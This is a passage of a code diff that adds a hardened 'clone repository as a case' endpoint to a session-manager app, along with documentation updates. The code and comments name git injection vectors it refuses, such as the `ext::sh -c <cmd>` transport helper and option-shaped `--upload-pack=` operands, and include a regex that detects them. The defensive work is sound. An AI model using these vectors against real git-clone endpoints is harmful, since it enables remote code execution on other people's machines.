diff --git a/CLAUDE.md b/CLAUDE.md
index 1502b558..2b4ecc71 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -43,7 +43,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
 2. **Frontend changes**: Use Playwright to load the page and assert the UI renders correctly. Use `waitUntil: 'domcontentloaded'` (not `networkidle` — SSE keeps the connection open). Wait 3-4s for polling/async data to populate, then check element visibility, text content, and CSS values
 3. **Only after verification passes**, proceed with COM
 
-The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.
+The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted. ⚠️ **`index.html` itself is the exception: it is read ONCE into `indexHtmlTemplate` in the `WebServer` constructor**, so editing markup in dev needs a server restart (edited `.js`/`.css` do not) — otherwise you debug a "CSS class that doesn't apply" that is really an element still missing from the served HTML.
 
 ## COM Shorthand (Deployment)
 
@@ -226,6 +226,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode--workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
 
+**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones a public repo into the caller's case space synchronously (request held open, bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` reports whether the URL can be cloned anonymously plus its real branches/tags. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: `ext::sh -c <cmd>` (and ANY `<name>::<payload>` helper) makes git run a command, so every `::` form is refused, a leading `-` is refused, and every spawn is an argv array with `--` before the operands. ⚠️ **Non-interactive or the open request hangs** — `gitNonInteractiveEnv()` closes the terminal/askpass/ssh/GCM prompt paths; `HOME`/`PATH` stay inherited, so a user's OWN credential helper may authenticate (Codeman still never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ Timeout kills the process GROUP (clone fans out into child processes), the destination is removed only if this attempt created it, and repository contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo-shipped `.claude/settings*` reported as a warning since its hooks run locally). The **Brain** picker sets the toolbar run mode on success. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
+
 **Cross-session search**: `GET /api/search` federates an in-memory search over session metadata, run-summary events, and attachment-history entries. The pure core `searchSources()` does substring matching with hard per-type caps: **no regex (so no ReDoS) and no filesystem reads (so no traversal)**. The server-private `externalPath` is never read. → [architecture-invariants#cross-session-search](docs/architecture-invariants.md#cross-session-search)
 
 **Web tabs** (dashboard URLs as tabs): a saved URL renders as a tab beside agent sessions. **NOT a sixth `SessionMode`** (no PTY, no tmux, no respawn), same reasoning that keeps Docker/remote-SSH as case overlays. Dashboards are **proxied through Codeman's own origin** by default, because a direct iframe fails three ways at once: prod is HTTPS so `http://` targets are blocked as mixed content, many dashboards send `X-Frame-Options: DENY`, and our own `default-src 'self'` CSP blocks cross-origin frames. Proxying leaves the prod CSP unchanged (`/webview/...` is `'self'`). ⚠️ The proxy is **NOT an API surface**: it authenticates on an in-memory capability in the path and is correspondingly exempt from the cookie + Origin checks; that exemption is fenced to safe methods and non-`/api` paths and is pinned by `test/webview-auth-exemption.test.ts`. ⚠️ Iframes omit `allow-same-origin` unless a dashboard is explicitly marked `trusted`, and `Authorization`/`codeman_session` are stripped upstream in **both** modes so `CODEMAN_PASSWORD` cannot leak. ⚠️ A sandboxed frame is **opaque-origin**, which breaks two things `curl` can never reproduce: its runtime-built root-absolute URLs escape `<base>` (fixed by an injected `runtimeUrlShim()`), and its same-host `fetch`/XHR are CORS-checked with `Origin: null` (fixed by `buildProxyCorsHeaders()` plus exempting the proxy from the global `OPTIONS`-204 short-circuit in `registerSecurityHeaders`). Both present as the dashboard's own "Failed to fetch" while the page renders fine. → [architecture-invariants#web-tabs](docs/architecture-invariants.md#web-tabs), `docs/web-tabs.md`
@@ -298,7 +300,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
 
 ### API Routes
 
-~200 handlers across 21 route files in `src/web/routes/`: system (45), sessions (34), cases (27), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
+~200 handlers across 21 route files in `src/web/routes/`: system (45), sessions (34), cases (29), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
 
 **HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
 
diff --git a/docs/architecture-invariants.md b/docs/architecture-invariants.md
index 74b178b6..f231b69a 100644
--- a/docs/architecture-invariants.md
+++ b/docs/architecture-invariants.md
@@ -130,6 +130,21 @@ The general rule: **any new endpoint that turns a caller-supplied `sessionId` in
 
 Tests: `test/file-editing-policy.test.ts` (pure policy), `test/routes/file-write-routes.test.ts` (deliberately **unmocked fs** against a real temp workspace — symlink/TOCTOU/mode behavior must be exercised for real).
 
+### Clone a repository as a case
+
+**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`).
+
+- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
+- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL).
+- ⚠️ **Bounded in time, output and concurrency.** Timeout → SIGTERM → SIGKILL, signalled to the whole process GROUP (`detached: true`, negative pid) because `git clone` fans out into `git-remote-https`/`index-pack` children that a polite signal to the parent leaves running. stderr is kept as a bounded, credential-redacted, control-stripped TAIL; `ls-remote` stdout is capped and refs are capped at 500 each. A small global pool (default 2, `CODEMAN_MAX_GIT_OPERATIONS`) caps concurrent git network ops, same reasoning as `document-conversion-limiter.ts`.
+- **Repository contents beat scaffolding.** An existing `CLAUDE.md` is kept (a generated one is written only when absent) and hooks are MERGED into whatever `.claude/settings.local.json` the repo shipped. A repo that ships its own `.claude/settings*.json` is reported back as a warning, because repo-supplied hooks run on the user's machine as soon as a session starts there.
+- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
+- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
+- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
+- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
+
+Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
+
 ### Ultracode and workflow-run visualization
 
 **Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a COMPLETION artifact per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` (written only at run end); LIVE in-flight runs exist only as transcript dirs at `…/subagents/workflows/wf_<id>/` (journal.jsonl + `agent-*.jsonl`). `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; separate singleton, though it independently reads the same `subagents/workflows/` tree) scans BOTH sources via periodic poll + per-directory chokidar watchers with per-source mtime skip (LRU agentStatCache + journalCache), synthesizing ACTIVE runs (live per-agent tokens/tools/state from transcripts, title/phases from the workflow script) until the completion `wf_*.json` appears and supersedes, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is started when **either** `showUltracodeAgents` **or** `ultracodeFloatingWindows` is on (`server.ts` `isWorkflowAgentTrackingEnabled()` returns `(showUltracodeAgents ?? false) || (ultracodeFloatingWindows ?? false)`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on a **DEDICATED** `ultracodeFloatingWindows` toggle, default OFF — independent of the dock panel's `showUltracodeAgents`; see `_ultracodeFloatingEnabled()`), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Clicking an agent card opens an **in-page** connected transcript window (not a browser popup); both run and transcript windows minimize **into** the originating session tab as a merged `ULTRA` badge (🧬 runs / 📄 transcripts) with a restore/dismiss dropdown — minimized runs are skipped by auto-pop. Gesture beta: floating subagent/ultracode windows are pinch-draggable (a `window` grab kind in `entry.ts`). Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.
diff --git a/src/git-clone.ts b/src/git-clone.ts
new file mode 100644
index 00000000..f22d3e46
--- /dev/null
+++ b/src/git-clone.ts
@@ -0,0 +1,770 @@
+/**
+ * @fileoverview Clone a Git repository into a case (issue #236).
+ *
+ * Split deliberately into a PURE half (URL parsing, argv/env construction,
+ * `ls-remote` output parsing, git-stderr classification) and a thin IO half
+ * (`probeGitRemote`, `cloneRepository`). The pure half is where every security
+ * decision lives, so it is unit-testable without spawning anything.
+ *
+ * ## Why the URL is parsed rather than passed through
+ *
+ * `git clone` accepts far more than "a URL". Two families are dangerous:
+ *
+ * - **Transport helpers** — `ext::sh -c <cmd>` makes git execute an arbitrary
+ *   command as the transport. `fd::`, and any other `<name>::<payload>` form,
+ *   dispatch to a `git-remote-<name>` helper. A clone endpoint that forwards
+ *   these is remote code execution, so `::` forms are rejected outright.
+ * - **Option-shaped operands** — a repository starting with `-` is read by git
+ *   as a flag (`--upload-pack=...`). We reject leading `-` AND pass `--` before
+ *   the operands, because either alone is one typo away from being a hole.
+ *
+ * Everything is spawned with an argv array and NEVER through a shell, so quoting
+ * is not part of the threat model here (unlike the ssh path in remote-hosts.ts,
+ * which genuinely does build a shell line and must `shellescape`).
+ *
+ * ## Credentials are deliberately absent
+ *
+ * Codeman collects no tokens, and a URL carrying `user:password@` is rejected —
+ * it would end up in error text, logs and (via the case name suggestion) the UI.
+ * `GIT_TERMINAL_PROMPT=0` plus the askpass/BatchMode env below guarantees a
+ * private repo fails FAST instead of hanging the open HTTP request on an
+ * invisible username prompt. If the host's own git config (a credential helper,
+ * an ssh agent, `insteadOf` rules) happens to authenticate, that is the user's
+ * existing setup working — Codeman neither supplies nor stores anything.
+ *
+ * ## Bounded by construction
+ *
+ * Every git spawn has a timeout, a hard kill escalation, captured-output caps,
+ * and shares a small global concurrency pool (same reasoning as
+ * `document-conversion-limiter.ts`: N simultaneous clones of large repos is a
+ * localhost resource-exhaustion vector). Cloning is otherwise unbounded in disk
+ * and time, which is exactly why the caller must treat the timeout as normal.
+ *
+ * @module git-clone
+ */
+
+import { spawn, execFileSync } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { rm } from 'node:fs/promises';
+import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
+
+// ─── Tunables ────────────────────────────────────────────────────────────────
+
+/** Read a positive-integer env override, clamped into [min, max]. */
+function envMs(name: string, fallback: number, min: number, max: number): number {
+  const raw = Number(process.env[name]);
+  if (!Number.isFinite(raw) || raw <= 0) return fallback;
+  return Math.min(max, Math.max(min, Math.floor(raw)));
+}
+
+/**
+ * Wall-clock budget for one `git clone`. Deliberately generous (a real repo over
+ * a slow link legitimately takes minutes) but always finite: the HTTP request is
+ * held open for the duration, so an unbounded clone would be an unbounded
+ * request. Override with CODEMAN_GIT_CLONE_TIMEOUT_MS.
+ */
+export const GIT_CLONE_TIMEOUT_MS = envMs('CODEMAN_GIT_CLONE_TIMEOUT_MS', 300_000, 10_000, 3_600_000);
+
+/**
+ * Budget for the `ls-remote` preflight. Short on purpose — it exists to answer
+ * "can this be cloned without credentials?" while the user is still typing.
+ * Override with CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS.
+ */
+export const GIT_LS_REMOTE_TIMEOUT_MS = envMs('CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS', 20_000, 2_000, 120_000);
+
+/** Concurrent git network operations allowed process-wide. Override with CODEMAN_MAX_GIT_OPERATIONS. */
+const MAX_CONCURRENT_GIT_OPERATIONS = (() => {
+  const raw = Number(process.env.CODEMAN_MAX_GIT_OPERATIONS);
+  return Number.isFinite(raw) && raw >= 1 ? Math.floor(raw) : 2;
+})();
+
+/** Longest accepted repository operand. Real URLs are far shorter; this bounds abuse. */
+const MAX_REPOSITORY_LENGTH = 2048;
+/** Longest accepted branch/tag. git's own limit is much higher; 200 covers every real ref. */
+const MAX_REF_LENGTH = 200;
+/** Captured stderr returned to the client, in bytes (the tail is the useful part). */
+const MAX_STDERR_BYTES = 8_192;
+/** Captured `ls-remote` stdout. A busy monorepo can list tens of thousands of refs. */
+const MAX_LS_REMOTE_BYTES = 2_000_000;
+/** Refs of each kind surfaced to the UI picker. */
+const MAX_REFS_RETURNED = 500;
+
+// ─── Types ───────────────────────────────────────────────────────────────────
+
+/** Transports Codeman is willing to hand to git. */
+export type GitTransport = 'https' | 'http' | 'ssh' | 'git' | 'local';
+
+export type GitUrlRejectionCode =
+  | 'EMPTY'
+  | 'TOO_LONG'
+  | 'CONTROL_CHARS'
+  | 'OPTION_LIKE'
+  | 'TRANSPORT_HELPER'
+  | 'UNSUPPORTED_TRANSPORT'
+  | 'CREDENTIALS_IN_URL'
+  | 'NO_REPOSITORY_NAME'
+  | 'BAD_SYNTAX';
+
+/** A repository operand Codeman is willing to clone. */
+export interface GitUrlAccepted {
+  cloneable: true;
+  /** The exact operand handed to git, after `--`. Never shell-interpolated. */
+  repository: string;
+  transport: GitTransport;
+  /** Hostname (empty for `local`). */
+  host: string;
+  /** Owner/org path prefix, `/`-joined; empty when the URL has none. */
+  owner: string;
+  /** Final path segment with any `.git` suffix removed. */
+  repo: string;
+  /** Display label for the host, e.g. `GitHub`. Falls back to the bare host. */
+  provider: string;
+  /** Case-name suggestion derived from `repo`; `''` when nothing usable survives. */
+  suggestedName: string;
+  /** Non-blocking advisories to show next to the input. */
+  warnings: string[];
+}
+
+/** A repository operand Codeman refuses, with the reason to show the user. */
+export interface GitUrlRejected {
+  cloneable: false;
+  code: GitUrlRejectionCode;
+  /** User-facing, safe to render as text. */
+  message: string;
+}
+
+export type GitUrlParse = GitUrlAccepted | GitUrlRejected;
+
+/** What `ls-remote` told us about a remote. */
+export interface GitRemoteProbe {
+  reachable: boolean;
+  /** Branch `HEAD` points at, when the remote advertises a symref. */
+  defaultBranch?: string;
+  branches: string[];
+  tags: string[];
+  /** Set when `reachable` is false. */
+  failure?: GitFailure;
+  /** True when refs were dropped to stay under the surfaced-refs cap. */
+  truncated?: boolean;
+}
+
+export type GitFailureCode =
+  | 'GIT_MISSING'
+  | 'TIMEOUT'
+  | 'AUTH_REQUIRED'
+  | 'NOT_FOUND'
+  | 'REF_NOT_FOUND'
+  | 'HOST_UNREACHABLE'
+  | 'DESTINATION_EXISTS'
+  | 'FAILED';
+
+export interface GitFailure {
+  code: GitFailureCode;
+  /** User-facing summary. */
+  message: string;
+  /** Tail of git's own stderr, control-stripped and credential-redacted. */
+  stderr: string;
+}
+
+export interface CloneOptions {
+  /** Pre-validated operand from `parseGitRepositoryUrl`. */
+  repository: string;
+  /** Absolute destination directory. Must NOT exist; created by git. */
+  destination: string;
+  /** Optional branch or tag (`--branch <ref> --single-branch`). */
+  ref?: string;
+  /** `--depth 1`: history-less but much faster on large repos. */
+  shallow?: boolean;
+  timeoutMs?: number;
+}
+
+export type CloneResult = { ok: true; stderr: string } | { ok: false; failure: GitFailure };
+
+// ─── Pure: repository URL parsing ────────────────────────────────────────────
+
+/** Hosts worth naming in the UI. Anything else shows its bare hostname. */
+const PROVIDER_LABELS: Record<string, string> = {
+  'github.com': 'GitHub',
+  'www.github.com': 'GitHub',
+  'gist.github.com': 'GitHub Gist',
+  'gitlab.com': 'GitLab',
+  'bitbucket.org': 'Bitbucket',
+  'codeberg.org': 'Codeberg',
+  'git.sr.ht': 'SourceHut',
+  'dev.azure.com': 'Azure DevOps',
+  'ssh.dev.azure.com': 'Azure DevOps',
+  'huggingface.co': 'Hugging Face',
+};
+
+/** `scheme://` prefix. */
+const SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):\/\//;
+/** `<helper>::<payload>` — git transport helper dispatch (includes `ext::`). */
+const TRANSPORT_HELPER_RE = /^[a-zA-Z0-9][a-zA-Z0-9+.-]*::/;
+/** scp-like `[user@]host:path`, the form GitHub prints as "SSH". */
+const SCP_LIKE_RE = /^(?:([^@/\s]+)@)?([^:/\s]+):(?!\/)(.+)$/;
+/** `C:\repos\x` / `C:/repos/x` — a Windows path, not an scp-like host. */
+const WINDOWS_PATH_RE = /^[a-zA-Z]:[\\/]/;
+/** Hostname or bracketed IPv6 literal, with an optional `:port`. */
+const HOST_RE = /^(?:\[[0-9a-fA-F:.]+\]|[a-zA-Z0-9](?:[a-zA-Z0-9\-.]*[a-zA-Z0-9])?)(?::\d{1,5})?$/;
+/** Anything git would not accept quietly in a branch/tag name. */
+const SAFE_REF_RE = /^[A-Za-z0-9][A-Za-z0-9._/\-+]*$/;
+
+/**
+ * Turn a repository name into a Codeman case name.
+ *
+ * Case names are `[a-zA-Z0-9_-]+` everywhere else in the app (`SAFE_CASE_NAME`
+ * in case-routes.ts, `CreateCaseSchema`), so anything else collapses to `-`.
+ * Returns `''` when nothing usable survives, which the UI treats as "the user
+ * must type a name" rather than silently inventing one.
+ */
+export function suggestCaseNameFromRepo(repo: string): string {
+  const cleaned = repo
+    .replace(/\.git$/i, '')
+    .replace(/[^a-zA-Z0-9_-]+/g, '-')
+    .replace(/-{2,}/g, '-')
+    .replace(/^[-_]+|[-_]+$/g, '')
+    .slice(0, 64)
+    .replace(/[-_]+$/g, '');
+  return /^[a-zA-Z0-9_-]+$/.test(cleaned) ? cleaned : '';
+}
+
+function reject(code: GitUrlRejectionCode, message: string): GitUrlRejected {
+  return { cloneable: false, code, message };
+}
+
+/** Split `owner/sub/repo(.git)` into its owner prefix and repo name. */
+function splitRepoPath(rawPath: string): { owner: string; repo: string } {
+  const segments = rawPath.replace(/^\/+/, '').replace(/\/+$/, '').split('/').filter(Boolean);
+  const last = segments.pop() ?? '';
+  return { owner: segments.join('/'), repo: last.replace(/\.git$/i, '') };
+}
+
+function accept(
+  parts: Omit<GitUrlAccepted, 'cloneable' | 'provider' | 'suggestedName'> & { warnings: string[] }
+): GitUrlParse {
+  if (!parts.repo) {
+    return reject(
+      'NO_REPOSITORY_NAME',
+      'That URL has no repository name in it. Expected something like https://github.com/owner/repo.git'
+    );
+  }
+  return {
+    cloneable: true,
+    ...parts,
+    provider: PROVIDER_LABELS[parts.host.toLowerCase()] || parts.host || 'local path',
+    suggestedName: suggestCaseNameFromRepo(parts.repo),
+  };
+}
+
+/**
+ * Decide whether `input` is something Codeman will hand to `git clone`, and pull
+ * the pieces the UI needs (provider, owner/repo, suggested case name) out of it.
+ *
+ * This is the security boundary for the clone endpoint. Read the module header
+ * before loosening any branch here — `ext::`-style transports and
+ * option-shaped operands are the two that turn a clone into arbitrary code
+ * execution.
+ *
+ * Accepting a URL says nothing about whether the remote EXISTS or is public;
+ * only `probeGitRemote` can answer that.
+ */
+export function parseGitRepositoryUrl(input: string): GitUrlParse {
+  const raw = (input ?? '').trim();
+  if (!raw) return reject('EMPTY', 'Enter a repository URL.');
+  if (raw.length > MAX_REPOSITORY_LENGTH) {
+    return reject('TOO_LONG', `Repository URL is too long (max ${MAX_REPOSITORY_LENGTH} characters).`);
+  }
+  // eslint-disable-next-line no-control-regex -- deliberate: reject C0/C1 and DEL.
+  if (/[\u0000-\u001f\u007f-\u009f]/.test(raw)) {
+    return reject('CONTROL_CHARS', 'Repository URL contains control characters.');
+  }
+  if (raw.startsWith('-')) {
+    // git would read this as a flag. `--` before the operands makes this
+    // defence redundant; both stay, because either one alone is fragile.
+    return reject('OPTION_LIKE', 'Repository URL may not start with "-".');
+  }
+  if (TRANSPORT_HELPER_RE.test(raw)) {
+    return reject(
+      'TRANSPORT_HELPER',
+      'Transport helpers such as "ext::" are refused: they let a URL run commands on this machine.'
+    );
+  }
+
+  const schemeMatch = SCHEME_RE.exec(raw);
+  if (schemeMatch) {
+    const scheme = schemeMatch[1].toLowerCase();
+    if (scheme === 'file') return parseLocalSource(raw.slice('file://'.length), raw);
+    if (scheme !== 'https' && scheme !== 'http' && scheme !== 'ssh' && scheme !== 'git') {
+      return reject(
+        'UNSUPPORTED_TRANSPORT',
+        `Unsupported transport "${scheme}://". Use https://, ssh://, git:// or an SSH address like git@host:owner/repo.git`
+      );
+    }
+    let url: URL;
+    try {
+      url = new URL(raw);
+    } catch {
+      return reject('BAD_SYNTAX', 'That does not look like a valid URL.');
+    }
+    if (url.password) {
+      return reject(
+        'CREDENTIALS_IN_URL',
+        'Remove the password from the URL. Codeman never accepts or stores Git credentials.'
+      );
+    }
+    const host = url.host;
+    if (!host || !HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That URL has no usable hostname.');
+    const { owner, repo } = splitRepoPath(decodeURIComponent(url.pathname));
+
+    const warnings: string[] = [];
+    if (scheme === 'http') warnings.push('Plain http:// is unencrypted. Prefer https:// when the host offers it.');
+    if (scheme === 'git') warnings.push('git:// is unauthenticated and unencrypted. Prefer https:// when possible.');
+    if (scheme === 'ssh') warnings.push(sshWarning(host));
+    if (url.username && scheme !== 'ssh') {
+      warnings.push('The username in the URL is passed to git as-is; Codeman supplies no password for it.');
+    }
+    return accept({
+      repository: raw,
+      transport: scheme as GitTransport,
+      host,
+      owner,
+      repo,
+      warnings,
+    });
+  }
+
+  if (raw.startsWith('/')) return parseLocalSource(raw, raw);
+  if (WINDOWS_PATH_RE.test(raw)) return parseLocalSource(raw, raw);
+  if (raw.startsWith('~') || raw.startsWith('./') || raw.startsWith('../')) {
+    return reject(
+      'BAD_SYNTAX',
+      'Use an absolute path for a local repository (no "~" or relative paths), or a full URL.'
+    );
+  }
+
+  const scp = SCP_LIKE_RE.exec(raw);
+  if (scp) {
+    const host = scp[2];
+    if (!HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That does not look like a valid SSH address.');
+    if (scp[1]?.includes(':')) {
+      return reject(
+        'CREDENTIALS_IN_URL',
+        'Remove the password from the address. Codeman never accepts or stores Git credentials.'
+      );
+    }
+    const { owner, repo } = splitRepoPath(scp[3]);
+    return accept({
+      repository: raw,
+      transport: 'ssh',
+      host,
+      owner,
+      repo,
+      warnings: [sshWarning(host)],
+    });
+  }
+
+  return reject(
+    'BAD_SYNTAX',
+    'Enter a full repository URL, e.g. https://github.com/owner/repo.git or git@github.com:owner/repo.git'
+  );
+}
+
+function sshWarning(host: string): string {
+  return `SSH clones use this machine's existing ssh keys and known_hosts for ${host}. Codeman adds no credentials, so an unconfigured key fails immediately instead of prompting.`;
+}
+
+/**
+ * A local source (`file://…` or an absolute path). Kept because cloning a repo
+ * that already exists on this machine is genuinely useful and involves no
+ * network at all. Existence is NOT checked here (this half stays free of IO):
+ * git reports a missing path perfectly well, and the preflight surfaces it.
+ *
+ * The route gates local sources to admins in multi-user mode: a per-user case
+ * space is a read boundary, and a local clone would read straight through it
+ * (the same reason `/api/cases/link` is admin-only there).
+ */
+function parseLocalSource(path: string, original: string): GitUrlParse {
+  const cleaned = path.replace(/\/+$/, '');
+  if (!cleaned || (!cleaned.startsWith('/') && !WINDOWS_PATH_RE.test(cleaned))) {
+    return reject('BAD_SYNTAX', 'Local repository paths must be absolute.');
+  }
+  const { owner, repo } = splitRepoPath(cleaned);
+  return accept({
+    repository: original,
+    transport: 'local',
+    host: '',
+    owner: owner ? `/${owner}` : '',
+    repo,
+    warnings: ['Local clone: git copies from this machine, no network involved.'],
+  });
+}
+
+/** Is `ref` safe to pass as `--branch <ref>`? Rejects flags, spaces and `..`. */
+export function isSafeGitRef(ref: string): boolean {
+  if (!ref || ref.length > MAX_REF_LENGTH) return false;
+  if (ref.includes('..') || ref.includes('@{') || ref.endsWith('.lock') || ref.endsWith('/')) return false;
+  return SAFE_REF_RE.test(ref);
+}
+
+// ─── Pure: argv + env ────────────────────────────────────────────────────────
+
+/**
+ * argv for the clone. `--` separates flags from operands so neither the
+ * repository nor the destination can ever be read as an option.
+ */
+export function buildCloneArgs(opts: CloneOptions): string[] {
+  const args = ['clone'];
+  // `--single-branch` is what makes "just this tag/branch" cheap on a big repo.
+  if (opts.ref) args.push('--single-branch', '--branch', opts.ref);
+  if (opts.shallow) args.push('--depth', '1');
+  args.push('--', opts.repository, opts.destination);
+  return args;
+}
+
+/** argv for the preflight. `--symref` is what reveals the remote's default branch. */
+export function buildLsRemoteArgs(repository: string): string[] {
+  return ['ls-remote', '--symref', '--', repository];
+}
+
+/**
+ * Environment that makes git fail instead of blocking on a prompt.
+ *
+ * Every entry closes one way an interactive git can hang a request that has no
+ * terminal attached: the built-in prompt, a GUI/askpass helper, an ssh
+ * host-key or passphrase prompt, and Git Credential Manager. `HOME` and `PATH`
+ * are inherited on purpose — a user whose own ssh agent or credential helper
+ * already works should keep working.
+ */
+export function gitNonInteractiveEnv(base: NodeJS.ProcessEnv = process.env): NodeJS.ProcessEnv {
+  return {
+    ...base,
+    GIT_TERMINAL_PROMPT: '0',
+    GIT_ASKPASS: '',
+    SSH_ASKPASS: '',
+    SSH_ASKPASS_REQUIRE: 'never',
+    DISPLAY: '',
+    GCM_INTERACTIVE: 'never',
+    GIT_SSH_COMMAND:
+      base.GIT_SSH_COMMAND || 'ssh -oBatchMode=yes -oStrictHostKeyChecking=accept-new -oConnectTimeout=10',
+  };
+}
+
+// ─── Pure: output handling ───────────────────────────────────────────────────
+
+/**
+ * Make git's stderr safe to show in the browser: strip ANSI/control bytes,
+ * redact any `scheme://user:secret@host` that a credential helper echoed back,
